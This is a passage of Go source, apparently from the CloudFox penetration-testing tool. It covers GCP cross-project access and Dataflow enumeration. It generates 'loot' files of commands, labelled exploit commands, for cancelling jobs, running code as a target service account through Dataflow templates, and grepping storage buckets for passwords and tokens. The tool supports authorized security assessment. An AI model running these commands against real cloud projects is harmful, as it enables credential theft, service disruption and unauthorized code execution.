"Could not find lateral movement paths")
|
||||
} else {
|
||||
m.LateralMovementPaths = paths
|
||||
}
|
||||
|
||||
// Find cross-project logging sinks
|
||||
sinks, err := svc.FindCrossProjectLoggingSinks(m.ProjectIDs)
|
||||
if err != nil {
|
||||
m.CommandCounter.IncrError()
|
||||
gcpinternal.HandleGCPError(err, logger, globals.GCP_CROSSPROJECT_MODULE_NAME,
|
||||
"Could not find cross-project logging sinks")
|
||||
} else {
|
||||
m.CrossProjectSinks = sinks
|
||||
}
|
||||
|
||||
// Find cross-project Pub/Sub exports
|
||||
pubsubExports, err := svc.FindCrossProjectPubSubExports(m.ProjectIDs)
|
||||
if err != nil {
|
||||
m.CommandCounter.IncrError()
|
||||
gcpinternal.HandleGCPError(err, logger, globals.GCP_CROSSPROJECT_MODULE_NAME,
|
||||
"Could not find cross-project Pub/Sub exports")
|
||||
} else {
|
||||
m.CrossProjectPubSub = pubsubExports
|
||||
}
|
||||
|
||||
if len(m.CrossBindings) == 0 && len(m.CrossProjectSAs) == 0 && len(m.LateralMovementPaths) == 0 &&
|
||||
len(m.CrossProjectSinks) == 0 && len(m.CrossProjectPubSub) == 0 {
|
||||
logger.InfoM("No cross-project access patterns found", globals.GCP_CROSSPROJECT_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
// Add findings to loot
|
||||
for _, binding := range m.CrossBindings {
|
||||
m.addBindingToLoot(binding)
|
||||
}
|
||||
|
||||
for _, sa := range m.CrossProjectSAs {
|
||||
m.addServiceAccountToLoot(sa)
|
||||
}
|
||||
|
||||
for _, path := range m.LateralMovementPaths {
|
||||
m.addLateralMovementToLoot(path)
|
||||
}
|
||||
|
||||
for _, sink := range m.CrossProjectSinks {
|
||||
m.addLoggingSinkToLoot(sink)
|
||||
}
|
||||
|
||||
for _, export := range m.CrossProjectPubSub {
|
||||
m.addPubSubExportToLoot(export)
|
||||
}
|
||||
|
||||
logger.SuccessM(fmt.Sprintf("Found %d binding(s), %d SA(s), %d lateral path(s), %d logging sink(s), %d pubsub export(s)",
|
||||
len(m.CrossBindings), len(m.CrossProjectSAs), len(m.LateralMovementPaths),
|
||||
len(m.CrossProjectSinks), len(m.CrossProjectPubSub)), globals.GCP_CROSSPROJECT_MODULE_NAME)
|
||||
|
||||
m.writeOutput(ctx, logger)
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Loot File Management
|
||||
// ------------------------------
|
||||
func (m *CrossProjectModule) initializeLootFiles() {
|
||||
m.LootMap["crossproject-commands"] = &internal.LootFile{
|
||||
Name: "crossproject-commands",
|
||||
Contents: "# Cross-Project Commands\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
|
||||
}
|
||||
}
|
||||
|
||||
func (m *CrossProjectModule) addBindingToLoot(binding crossprojectservice.CrossProjectBinding) {
|
||||
// Only add if there are exploitation commands
|
||||
if len(binding.ExploitCommands) > 0 {
|
||||
m.LootMap["crossproject-commands"].Contents += fmt.Sprintf(
|
||||
"# =============================================================================\n"+
|
||||
"# %s -> %s (%s)\n"+
|
||||
"# =============================================================================\n",
|
||||
m.GetProjectName(binding.SourceProject),
|
||||
m.GetProjectName(binding.TargetProject),
|
||||
cleanRole(binding.Role),
|
||||
)
|
||||
m.LootMap["crossproject-commands"].Contents += "\n# === EXPLOIT COMMANDS ===\n\n"
|
||||
for _, cmd := range binding.ExploitCommands {
|
||||
m.LootMap["crossproject-commands"].Contents += cmd + "\n"
|
||||
}
|
||||
m.LootMap["crossproject-commands"].Contents += "\n"
|
||||
}
|
||||
}
|
||||
|
||||
func (m *CrossProjectModule) addServiceAccountToLoot(sa crossprojectservice.CrossProjectServiceAccount) {
|
||||
// Skip - service account cross-project access is covered by bindings and lateral movement paths
|
||||
// Adding separate impersonation commands would be redundant
|
||||
}
|
||||
|
||||
func (m *CrossProjectModule) addLateralMovementToLoot(path crossprojectservice.LateralMovementPath) {
|
||||
// Only add if there are exploitation commands
|
||||
if len(path.ExploitCommands) > 0 {
|
||||
// Clean up role names for display
|
||||
var cleanedRoles []string
|
||||
for _, r := range path.TargetRoles {
|
||||
cleanedRoles = append(cleanedRoles, cleanRole(r))
|
||||
}
|
||||
|
||||
m.LootMap["crossproject-commands"].Contents += fmt.Sprintf(
|
||||
"# =============================================================================\n"+
|
||||
"# %s -> %s (%s)\n"+
|
||||
"# =============================================================================\n",
|
||||
m.GetProjectName(path.SourceProject),
|
||||
m.GetProjectName(path.TargetProject),
|
||||
strings.Join(cleanedRoles, ", "),
|
||||
)
|
||||
m.LootMap["crossproject-commands"].Contents += "\n# === EXPLOIT COMMANDS ===\n\n"
|
||||
for _, cmd := range path.ExploitCommands {
|
||||
m.LootMap["crossproject-commands"].Contents += cmd + "\n"
|
||||
}
|
||||
m.LootMap["crossproject-commands"].Contents += "\n"
|
||||
}
|
||||
}
|
||||
|
||||
func (m *CrossProjectModule) addLoggingSinkToLoot(sink crossprojectservice.CrossProjectLoggingSink) {
|
||||
// Logging sinks are data exports, not direct exploitation paths
|
||||
// Skip adding to loot - the table output is sufficient
|
||||
}
|
||||
|
||||
func (m *CrossProjectModule) addPubSubExportToLoot(export crossprojectservice.CrossProjectPubSubExport) {
|
||||
// Pub/Sub exports are data exports, not direct exploitation paths
|
||||
// Skip adding to loot - the table output is sufficient
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Output Generation
|
||||
// ------------------------------
|
||||
func (m *CrossProjectModule) writeOutput(ctx context.Context, logger internal.Logger) {
|
||||
if m.Hierarchy != nil && !m.FlatOutput {
|
||||
m.writeHierarchicalOutput(ctx, logger)
|
||||
} else {
|
||||
m.writeFlatOutput(ctx, logger)
|
||||
}
|
||||
}
|
||||
|
||||
func (m *CrossProjectModule) getHeader() []string {
|
||||
return []string{
|
||||
"Source Project",
|
||||
"Source Type",
|
||||
"Source Principal",
|
||||
"Binding Type",
|
||||
"Target Project",
|
||||
"Target Type",
|
||||
"Target Principal",
|
||||
"Target Role",
|
||||
"Attack Path",
|
||||
"Trust Boundary",
|
||||
}
|
||||
}
|
||||
|
||||
// getTargetProjectScope returns the scope of the target project relative to the org
|
||||
func (m *CrossProjectModule) getTargetProjectScope(targetProjectID string) string {
|
||||
if m.OrgCache == nil || !m.OrgCache.IsPopulated() {
|
||||
return "Unknown"
|
||||
}
|
||||
return m.OrgCache.GetProjectScope(targetProjectID)
|
||||
}
|
||||
|
||||
// getImpersonationTarget checks if a role grants impersonation capabilities and returns the target
|
||||
// Returns (targetType, targetPrincipal) - both "-" if no impersonation target found
|
||||
func (m *CrossProjectModule) getImpersonationTarget(principal, role, targetProject string) (string, string) {
|
||||
// Roles that grant impersonation capabilities
|
||||
impersonationRoles := map[string]bool{
|
||||
"roles/iam.serviceAccountTokenCreator": true,
|
||||
"roles/iam.serviceAccountKeyAdmin": true,
|
||||
"iam.serviceAccountTokenCreator": true,
|
||||
"iam.serviceAccountKeyAdmin": true,
|
||||
}
|
||||
|
||||
cleanedRole := cleanRole(role)
|
||||
|
||||
// Check if this is an impersonation role
|
||||
if !impersonationRoles[role] && !impersonationRoles[cleanedRole] &&
|
||||
!strings.Contains(cleanedRole, "serviceAccountTokenCreator") &&
|
||||
!strings.Contains(cleanedRole, "serviceAccountKeyAdmin") {
|
||||
return "-", "-"
|
||||
}
|
||||
|
||||
// FoxMapper handles impersonation differently via graph edges
|
||||
// Since we no longer use AttackPathCache, we rely on FoxMapper or show a generic message
|
||||
|
||||
// No specific targets found in cache - this likely means the role was granted at the
|
||||
// project level (not on specific SAs), which means ALL SAs in the target project can be impersonated
|
||||
return "Service Account", fmt.Sprintf("All SAs in %s", m.GetProjectName(targetProject))
|
||||
}
|
||||
|
||||
// getPrincipalTypeDisplay returns a human-readable type for the principal
|
||||
func getPrincipalTypeDisplay(principal string) string {
|
||||
if strings.HasPrefix(principal, "serviceAccount:") {
|
||||
return "Service Account"
|
||||
} else if strings.HasPrefix(principal, "user:") {
|
||||
return "User"
|
||||
} else if strings.HasPrefix(principal, "group:") {
|
||||
return "Group"
|
||||
} else if strings.HasPrefix(principal, "domain:") {
|
||||
return "Domain"
|
||||
}
|
||||
return "Unknown"
|
||||
}
|
||||
|
||||
// cleanPrincipal removes common prefixes from principal strings for cleaner display
|
||||
func cleanPrincipal(principal string) string {
|
||||
// Remove serviceAccount:, user:, group: prefixes
|
||||
principal = strings.TrimPrefix(principal, "serviceAccount:")
|
||||
principal = strings.TrimPrefix(principal, "user:")
|
||||
principal = strings.TrimPrefix(principal, "group:")
|
||||
principal = strings.TrimPrefix(principal, "domain:")
|
||||
return principal
|
||||
}
|
||||
|
||||
// cleanRole extracts just the role name from a full role path
|
||||
func cleanRole(role string) string {
|
||||
// Handle full project paths like "projects/project-id/roles/customRole"
|
||||
if strings.Contains(role, "/roles/") {
|
||||
parts := strings.Split(role, "/roles/")
|
||||
if len(parts) == 2 {
|
||||
return parts[1]
|
||||
}
|
||||
}
|
||||
// Handle standard roles like "roles/compute.admin"
|
||||
if strings.HasPrefix(role, "roles/") {
|
||||
return strings.TrimPrefix(role, "roles/")
|
||||
}
|
||||
return role
|
||||
}
|
||||
|
||||
// extractCrossProjectResourceName extracts just the resource name from a full resource path
|
||||
func extractCrossProjectResourceName(path string) string {
|
||||
// Handle various path formats
|
||||
parts := strings.Split(path, "/")
|
||||
if len(parts) > 0 {
|
||||
return parts[len(parts)-1]
|
||||
}
|
||||
return path
|
||||
}
|
||||
|
||||
// getAttackPathForTarget returns attack path summary for a principal accessing a target project
|
||||
func (m *CrossProjectModule) getAttackPathForTarget(targetProject, principal string) string {
|
||||
// Clean principal for lookup
|
||||
cleanedPrincipal := cleanPrincipal(principal)
|
||||
|
||||
// Check if this is a service account
|
||||
if strings.Contains(cleanedPrincipal, "@") && strings.Contains(cleanedPrincipal, ".iam.gserviceaccount.com") {
|
||||
return gcpinternal.GetAttackSummaryFromCaches(m.FoxMapperCache, nil, cleanedPrincipal)
|
||||
}
|
||||
|
||||
return "-"
|
||||
}
|
||||
|
||||
func (m *CrossProjectModule) collectLootFiles() []internal.LootFile {
|
||||
var lootFiles []internal.LootFile
|
||||
for _, loot := range m.LootMap {
|
||||
if loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
return lootFiles
|
||||
}
|
||||
|
||||
// buildTableBodyByTargetProject builds table bodies grouped by target project
|
||||
// Returns a map of targetProjectID -> [][]string (rows for that target project)
|
||||
func (m *CrossProjectModule) buildTableBodyByTargetProject() map[string][][]string {
|
||||
bodyByProject := make(map[string][][]string)
|
||||
|
||||
// Add cross-project bindings
|
||||
for _, binding := range m.CrossBindings {
|
||||
principalType := getPrincipalTypeDisplay(binding.Principal)
|
||||
principal := cleanPrincipal(binding.Principal)
|
||||
role := cleanRole(binding.Role)
|
||||
attackPath := m.getAttackPathForTarget(binding.TargetProject, binding.Principal)
|
||||
targetType, targetPrincipal := m.getImpersonationTarget(binding.Principal, binding.Role, binding.TargetProject)
|
||||
trustBoundary := m.getTargetProjectScope(binding.TargetProject)
|
||||
|
||||
row := []string{
|
||||
m.GetProjectName(binding.SourceProject),
|
||||
principalType,
|
||||
principal,
|
||||
"IAM Binding",
|
||||
m.GetProjectName(binding.TargetProject),
|
||||
targetType,
|
||||
targetPrincipal,
|
||||
role,
|
||||
attackPath,
|
||||
trustBoundary,
|
||||
}
|
||||
bodyByProject[binding.TargetProject] = append(bodyByProject[binding.TargetProject], row)
|
||||
}
|
||||
|
||||
// Add cross-project service accounts
|
||||
for _, sa := range m.CrossProjectSAs {
|
||||
for _, access := range sa.TargetAccess {
|
||||
parts := strings.SplitN(access, ": ", 2)
|
||||
targetProject := ""
|
||||
role := access
|
||||
if len(parts) == 2 {
|
||||
targetProject = parts[0]
|
||||
role = parts[1]
|
||||
}
|
||||
|
||||
role = cleanRole(role)
|
||||
attackPath := m.getAttackPathForTarget(targetProject, "serviceAccount:"+sa.Email)
|
||||
targetType, targetPrincipal := m.getImpersonationTarget(sa.Email, role, targetProject)
|
||||
trustBoundary := m.getTargetProjectScope(targetProject)
|
||||
|
||||
row := []string{
|
||||
m.GetProjectName(sa.ProjectID),
|
||||
"Service Account",
|
||||
sa.Email,
|
||||
"IAM Binding",
|
||||
m.GetProjectName(targetProject),
|
||||
targetType,
|
||||
targetPrincipal,
|
||||
role,
|
||||
attackPath,
|
||||
trustBoundary,
|
||||
}
|
||||
bodyByProject[targetProject] = append(bodyByProject[targetProject], row)
|
||||
}
|
||||
}
|
||||
|
||||
// Add lateral movement paths
|
||||
for _, path := range m.LateralMovementPaths {
|
||||
for _, role := range path.TargetRoles {
|
||||
principalType := getPrincipalTypeDisplay(path.SourcePrincipal)
|
||||
principal := cleanPrincipal(path.SourcePrincipal)
|
||||
cleanedRole := cleanRole(role)
|
||||
attackPath := m.getAttackPathForTarget(path.TargetProject, path.SourcePrincipal)
|
||||
targetType, targetPrincipal := m.getImpersonationTarget(path.SourcePrincipal, role, path.TargetProject)
|
||||
trustBoundary := m.getTargetProjectScope(path.TargetProject)
|
||||
|
||||
row := []string{
|
||||
m.GetProjectName(path.SourceProject),
|
||||
principalType,
|
||||
principal,
|
||||
path.AccessMethod,
|
||||
m.GetProjectName(path.TargetProject),
|
||||
targetType,
|
||||
targetPrincipal,
|
||||
cleanedRole,
|
||||
attackPath,
|
||||
trustBoundary,
|
||||
}
|
||||
bodyByProject[path.TargetProject] = append(bodyByProject[path.TargetProject], row)
|
||||
}
|
||||
}
|
||||
|
||||
// Add logging sinks - these are resources, not principals
|
||||
for _, sink := range m.CrossProjectSinks {
|
||||
dest := sink.DestinationType
|
||||
if sink.Filter != "" {
|
||||
filter := sink.Filter
|
||||
if len(filter) > 30 {
|
||||
filter = filter[:27] + "..."
|
||||
}
|
||||
dest = fmt.Sprintf("%s (%s)", sink.DestinationType, filter)
|
||||
}
|
||||
trustBoundary := m.getTargetProjectScope(sink.TargetProject)
|
||||
|
||||
row := []string{
|
||||
m.GetProjectName(sink.SourceProject),
|
||||
"Logging Sink",
|
||||
sink.SinkName,
|
||||
"Data Export",
|
||||
m.GetProjectName(sink.TargetProject),
|
||||
"-",
|
||||
"-",
|
||||
dest,
|
||||
"-",
|
||||
trustBoundary,
|
||||
}
|
||||
bodyByProject[sink.TargetProject] = append(bodyByProject[sink.TargetProject], row)
|
||||
}
|
||||
|
||||
// Add Pub/Sub exports - these are resources, not principals
|
||||
for _, export := range m.CrossProjectPubSub {
|
||||
dest := export.ExportType
|
||||
if export.ExportDest != "" {
|
||||
destName := extractCrossProjectResourceName(export.ExportDest)
|
||||
dest = fmt.Sprintf("%s: %s", export.ExportType, destName)
|
||||
}
|
||||
trustBoundary := m.getTargetProjectScope(export.TargetProject)
|
||||
|
||||
row := []string{
|
||||
m.GetProjectName(export.SourceProject),
|
||||
"Pub/Sub",
|
||||
export.SubscriptionName,
|
||||
"Data Export",
|
||||
m.GetProjectName(export.TargetProject),
|
||||
"-",
|
||||
"-",
|
||||
dest,
|
||||
"-",
|
||||
trustBoundary,
|
||||
}
|
||||
bodyByProject[export.TargetProject] = append(bodyByProject[export.TargetProject], row)
|
||||
}
|
||||
|
||||
return bodyByProject
|
||||
}
|
||||
|
||||
func (m *CrossProjectModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
|
||||
// For crossproject, output at project level grouped by TARGET project
|
||||
outputData := internal.HierarchicalOutputData{
|
||||
OrgLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
}
|
||||
|
||||
header := m.getHeader()
|
||||
bodyByProject := m.buildTableBodyByTargetProject()
|
||||
lootFiles := m.collectLootFiles()
|
||||
|
||||
// Create output for each target project
|
||||
for targetProject, body := range bodyByProject {
|
||||
if len(body) == 0 {
|
||||
continue
|
||||
}
|
||||
|
||||
tables := []internal.TableFile{
|
||||
{
|
||||
Name: "crossproject",
|
||||
Header: header,
|
||||
Body: body,
|
||||
},
|
||||
}
|
||||
|
||||
output := CrossProjectOutput{
|
||||
Table: tables,
|
||||
Loot: lootFiles, // Loot files are shared across all projects
|
||||
}
|
||||
|
||||
outputData.ProjectLevelData[targetProject] = output
|
||||
}
|
||||
|
||||
pathBuilder := m.BuildPathBuilder()
|
||||
|
||||
err := internal.HandleHierarchicalOutputSmart("gcp", m.Format, m.Verbosity, m.WrapTable, pathBuilder, outputData)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), globals.GCP_CROSSPROJECT_MODULE_NAME)
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
}
|
||||
|
||||
func (m *CrossProjectModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
|
||||
header := m.getHeader()
|
||||
bodyByProject := m.buildTableBodyByTargetProject()
|
||||
lootFiles := m.collectLootFiles()
|
||||
|
||||
// Write output for each target project separately
|
||||
isFirstProject := true
|
||||
for targetProject, body := range bodyByProject {
|
||||
if len(body) == 0 {
|
||||
continue
|
||||
}
|
||||
|
||||
tables := []internal.TableFile{
|
||||
{
|
||||
Name: "crossproject",
|
||||
Header: header,
|
||||
Body: body,
|
||||
},
|
||||
}
|
||||
|
||||
// Only include loot files on the first project to avoid duplicate writes
|
||||
var projectLoot []internal.LootFile
|
||||
if isFirstProject {
|
||||
projectLoot = lootFiles
|
||||
isFirstProject = false
|
||||
}
|
||||
|
||||
output := CrossProjectOutput{
|
||||
Table: tables,
|
||||
Loot: projectLoot,
|
||||
}
|
||||
|
||||
err := internal.HandleOutputSmart(
|
||||
"gcp",
|
||||
m.Format,
|
||||
m.OutputDirectory,
|
||||
m.Verbosity,
|
||||
m.WrapTable,
|
||||
"project",
|
||||
[]string{targetProject},
|
||||
[]string{m.GetProjectName(targetProject)},
|
||||
m.Account,
|
||||
output,
|
||||
)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing output for project %s: %v", targetProject, err), globals.GCP_CROSSPROJECT_MODULE_NAME)
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
}
|
||||
}
|
||||
Executable
+1710
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,336 @@
|
||||
package commands
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
dataflowservice "github.com/BishopFox/cloudfox/gcp/services/dataflowService"
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
var GCPDataflowCommand = &cobra.Command{
|
||||
Use: globals.GCP_DATAFLOW_MODULE_NAME,
|
||||
Aliases: []string{"df", "pipelines"},
|
||||
Short: "Enumerate Dataflow jobs and pipelines",
|
||||
Long: `Enumerate Dataflow jobs with security analysis.
|
||||
|
||||
Features:
|
||||
- Lists all Dataflow jobs (batch and streaming)
|
||||
- Shows service account configuration
|
||||
- Identifies network exposure (public IPs)
|
||||
- Analyzes temp/staging storage locations
|
||||
- Detects default service account usage`,
|
||||
Run: runGCPDataflowCommand,
|
||||
}
|
||||
|
||||
type DataflowModule struct {
|
||||
gcpinternal.BaseGCPModule
|
||||
ProjectJobs map[string][]dataflowservice.JobInfo // projectID -> jobs
|
||||
LootMap map[string]map[string]*internal.LootFile // projectID -> loot files
|
||||
FoxMapperCache *gcpinternal.FoxMapperCache // Cached FoxMapper analysis results
|
||||
mu sync.Mutex
|
||||
}
|
||||
|
||||
type DataflowOutput struct {
|
||||
Table []internal.TableFile
|
||||
Loot []internal.LootFile
|
||||
}
|
||||
|
||||
func (o DataflowOutput) TableFiles() []internal.TableFile { return o.Table }
|
||||
func (o DataflowOutput) LootFiles() []internal.LootFile { return o.Loot }
|
||||
|
||||
func runGCPDataflowCommand(cmd *cobra.Command, args []string) {
|
||||
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, globals.GCP_DATAFLOW_MODULE_NAME)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
module := &DataflowModule{
|
||||
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
|
||||
ProjectJobs: make(map[string][]dataflowservice.JobInfo),
|
||||
LootMap: make(map[string]map[string]*internal.LootFile),
|
||||
}
|
||||
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
|
||||
}
|
||||
|
||||
func (m *DataflowModule) Execute(ctx context.Context, logger internal.Logger) {
|
||||
// Get FoxMapper cache from context
|
||||
m.FoxMapperCache = gcpinternal.GetFoxMapperCacheFromContext(ctx)
|
||||
|
||||
m.RunProjectEnumeration(ctx, logger, m.ProjectIDs, globals.GCP_DATAFLOW_MODULE_NAME, m.processProject)
|
||||
|
||||
allJobs := m.getAllJobs()
|
||||
if len(allJobs) == 0 {
|
||||
logger.InfoM("No Dataflow jobs found", globals.GCP_DATAFLOW_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
// Count by state
|
||||
running := 0
|
||||
publicIPs := 0
|
||||
for _, job := range allJobs {
|
||||
if job.State == "JOB_STATE_RUNNING" {
|
||||
running++
|
||||
}
|
||||
if job.UsePublicIPs {
|
||||
publicIPs++
|
||||
}
|
||||
}
|
||||
|
||||
logger.SuccessM(fmt.Sprintf("Found %d Dataflow job(s) (%d running, %d with public IPs)",
|
||||
len(allJobs), running, publicIPs), globals.GCP_DATAFLOW_MODULE_NAME)
|
||||
m.writeOutput(ctx, logger)
|
||||
}
|
||||
|
||||
func (m *DataflowModule) getAllJobs() []dataflowservice.JobInfo {
|
||||
var all []dataflowservice.JobInfo
|
||||
for _, jobs := range m.ProjectJobs {
|
||||
all = append(all, jobs...)
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
func (m *DataflowModule) processProject(ctx context.Context, projectID string, logger internal.Logger) {
|
||||
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
|
||||
logger.InfoM(fmt.Sprintf("Enumerating Dataflow in project: %s", projectID), globals.GCP_DATAFLOW_MODULE_NAME)
|
||||
}
|
||||
|
||||
svc := dataflowservice.New()
|
||||
jobs, err := svc.ListJobs(projectID)
|
||||
if err != nil {
|
||||
m.CommandCounter.IncrError()
|
||||
gcpinternal.HandleGCPError(err, logger, globals.GCP_DATAFLOW_MODULE_NAME,
|
||||
fmt.Sprintf("Could not list Dataflow jobs in project %s", projectID))
|
||||
return
|
||||
}
|
||||
|
||||
m.mu.Lock()
|
||||
m.ProjectJobs[projectID] = jobs
|
||||
|
||||
// Initialize loot for this project
|
||||
if m.LootMap[projectID] == nil {
|
||||
m.LootMap[projectID] = make(map[string]*internal.LootFile)
|
||||
m.LootMap[projectID]["dataflow-commands"] = &internal.LootFile{
|
||||
Name: "dataflow-commands",
|
||||
Contents: "# Dataflow Commands\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
|
||||
}
|
||||
}
|
||||
|
||||
for _, job := range jobs {
|
||||
m.addToLoot(projectID, job)
|
||||
}
|
||||
m.mu.Unlock()
|
||||
}
|
||||
|
||||
func (m *DataflowModule) addToLoot(projectID string, job dataflowservice.JobInfo) {
|
||||
lootFile := m.LootMap[projectID]["dataflow-commands"]
|
||||
if lootFile == nil {
|
||||
return
|
||||
}
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# =============================================================================\n"+
|
||||
"# DATAFLOW JOB: %s\n"+
|
||||
"# =============================================================================\n"+
|
||||
"# Project: %s\n"+
|
||||
"# Location: %s\n"+
|
||||
"# ID: %s\n"+
|
||||
"# Type: %s\n"+
|
||||
"# State: %s\n"+
|
||||
"# Service Account: %s\n"+
|
||||
"# Public IPs: %v\n"+
|
||||
"# Workers: %d\n",
|
||||
job.Name, job.ProjectID, job.Location,
|
||||
job.ID, job.Type, job.State,
|
||||
job.ServiceAccount, job.UsePublicIPs, job.NumWorkers,
|
||||
)
|
||||
|
||||
lootFile.Contents += fmt.Sprintf(`
|
||||
# === ENUMERATION COMMANDS ===
|
||||
|
||||
# Describe job:
|
||||
gcloud dataflow jobs describe %s --project=%s --region=%s
|
||||
|
||||
# Show job details:
|
||||
gcloud dataflow jobs show %s --project=%s --region=%s
|
||||
|
||||
# List all Dataflow jobs:
|
||||
gcloud dataflow jobs list --project=%s --region=%s
|
||||
|
||||
# Get job metrics:
|
||||
gcloud dataflow metrics list %s --project=%s --region=%s
|
||||
|
||||
`,
|
||||
job.ID, job.ProjectID, job.Location,
|
||||
job.ID, job.ProjectID, job.Location,
|
||||
job.ProjectID, job.Location,
|
||||
job.ID, job.ProjectID, job.Location,
|
||||
)
|
||||
|
||||
// Bucket inspection
|
||||
if job.TempLocation != "" {
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# Inspect temp bucket (may contain intermediate data):\n"+
|
||||
"gsutil ls -r %s\n\n",
|
||||
job.TempLocation,
|
||||
)
|
||||
}
|
||||
if job.StagingLocation != "" {
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# Inspect staging bucket (contains job artifacts):\n"+
|
||||
"gsutil ls -r %s\n\n",
|
||||
job.StagingLocation,
|
||||
)
|
||||
}
|
||||
|
||||
// === EXPLOIT COMMANDS ===
|
||||
lootFile.Contents += "# === EXPLOIT COMMANDS ===\n\n"
|
||||
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# Cancel running job:\n"+
|
||||
"gcloud dataflow jobs cancel %s --project=%s --region=%s\n\n"+
|
||||
"# Drain running job (graceful stop):\n"+
|
||||
"gcloud dataflow jobs drain %s --project=%s --region=%s\n\n"+
|
||||
"# Submit a new Dataflow job (code execution as SA: %s):\n"+
|
||||
"# Template-based job:\n"+
|
||||
"gcloud dataflow jobs run cloudfox-test --gcs-location=gs://dataflow-templates/latest/Word_Count --region=%s --project=%s --parameters=inputFile=gs://BUCKET/input.txt,output=gs://BUCKET/output\n\n"+
|
||||
"# Flex template job (custom container = full code execution):\n"+
|
||||
"gcloud dataflow flex-template run cloudfox-flex --template-file-gcs-location=gs://YOUR_BUCKET/template.json --region=%s --project=%s --service-account-email=%s\n\n",
|
||||
job.ID, job.ProjectID, job.Location,
|
||||
job.ID, job.ProjectID, job.Location,
|
||||
job.ServiceAccount,
|
||||
job.Location, job.ProjectID,
|
||||
job.Location, job.ProjectID, job.ServiceAccount,
|
||||
)
|
||||
|
||||
// Inspect staging/temp for secrets
|
||||
if job.TempLocation != "" || job.StagingLocation != "" {
|
||||
lootFile.Contents += "# Search job buckets for secrets/credentials:\n"
|
||||
if job.TempLocation != "" {
|
||||
lootFile.Contents += fmt.Sprintf("gsutil cat %s/** 2>/dev/null | grep -iE '(password|secret|token|key|credential)'\n", job.TempLocation)
|
||||
}
|
||||
if job.StagingLocation != "" {
|
||||
lootFile.Contents += fmt.Sprintf("gsutil cat %s/** 2>/dev/null | grep -iE '(password|secret|token|key|credential)'\n", job.StagingLocation)
|
||||
}
|
||||
lootFile.Contents += "\n"
|
||||
}
|
||||
}
|
||||
|
||||
func (m *DataflowModule) writeOutput(ctx context.Context, logger internal.Logger) {
|
||||
if m.Hierarchy != nil && !m.FlatOutput {
|
||||
m.writeHierarchicalOutput(ctx, logger)
|
||||
} else {
|
||||
m.writeFlatOutput(ctx, logger)
|
||||
}
|
||||
}
|
||||
|
||||
func (m *DataflowModule) getTableHeader() []string {
|
||||
return []string{
|
||||
"Project ID",
|
||||
"Project Name",
|
||||
"Name",
|
||||
"Type",
|
||||
"State",
|
||||
"Location",
|
||||
"Service Account",
|
||||
"SA Attack Paths",
|
||||
"Public IPs",
|
||||
"Workers",
|
||||
}
|
||||
}
|
||||
|
||||
func (m *DataflowModule) jobsToTableBody(jobs []dataflowservice.JobInfo) [][]string {
|
||||
var body [][]string
|
||||
for _, job := range jobs {
|
||||
publicIPs := "No"
|
||||
if job.UsePublicIPs {
|
||||
publicIPs = "Yes"
|
||||
}
|
||||
|
||||
// Check attack paths (privesc/exfil/lateral) for the service account
|
||||
attackPaths := "run foxmapper"
|
||||
if m.FoxMapperCache != nil && m.FoxMapperCache.IsPopulated() {
|
||||
if job.ServiceAccount != "" {
|
||||
attackPaths = gcpinternal.GetAttackSummaryFromCaches(m.FoxMapperCache, nil, job.ServiceAccount)
|
||||
} else {
|
||||
attackPaths = "No"
|
||||
}
|
||||
}
|
||||
|
||||
body = append(body, []string{
|
||||
job.ProjectID,
|
||||
m.GetProjectName(job.ProjectID),
|
||||
job.Name,
|
||||
job.Type,
|
||||
job.State,
|
||||
job.Location,
|
||||
job.ServiceAccount,
|
||||
attackPaths,
|
||||
publicIPs,
|
||||
fmt.Sprintf("%d", job.NumWorkers),
|
||||
})
|
||||
}
|
||||
return body
|
||||
}
|
||||
|
||||
func (m *DataflowModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
|
||||
outputData := internal.HierarchicalOutputData{
|
||||
OrgLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
}
|
||||
|
||||
for projectID, jobs := range m.ProjectJobs {
|
||||
body := m.jobsToTableBody(jobs)
|
||||
tableFiles := []internal.TableFile{{Name: "dataflow", Header: m.getTableHeader(), Body: body}}
|
||||
|
||||
var lootFiles []internal.LootFile
|
||||
if projectLoot, ok := m.LootMap[projectID]; ok {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n") {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
